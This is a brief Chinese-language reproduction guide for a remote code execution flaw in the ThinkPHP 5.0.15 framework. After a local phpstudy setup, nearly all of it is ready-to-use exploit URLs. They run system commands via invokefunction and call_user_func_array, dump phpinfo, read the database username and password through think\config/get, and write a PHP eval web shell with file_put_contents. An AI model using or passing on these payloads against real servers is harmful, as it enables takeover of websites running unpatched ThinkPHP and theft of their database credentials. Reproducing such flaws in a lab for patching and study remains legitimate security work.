Thinkphp 下载地址:
http://www.thinkphp.cn/donate/download/id/1125.html ThinkPHP5.0.15完整版
本地环境搭建phpstudy ,在WWW根目录建立文件夹放入代码

如果想要开启 debug 报错 在目录建立 文件

里面的内容写: APP_DEBUG = true
成功开启debug报错

漏洞复现:
漏洞exp: index.php?a=system&b=id&_method=filter

http://127.0.0.1/thinkphp5015/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
网页直接返回 whoami

3、通过phpinfo函数写出phpinfo()的信息:
http://127.0.0.1/thinkphp5015/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars%5B0%5D=phpinfo&vars%5B1%5D%5B%5D=1

获取数据库用户名和密码,把username 改成 password 获得数据库的密码
http://127.0.0.1/thinkphp5015/public//?s=.|think\config/get&name=database.username

写入shell
/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=test.php&vars[1][]=<?php @eval($_POST['code']);?>


网友评论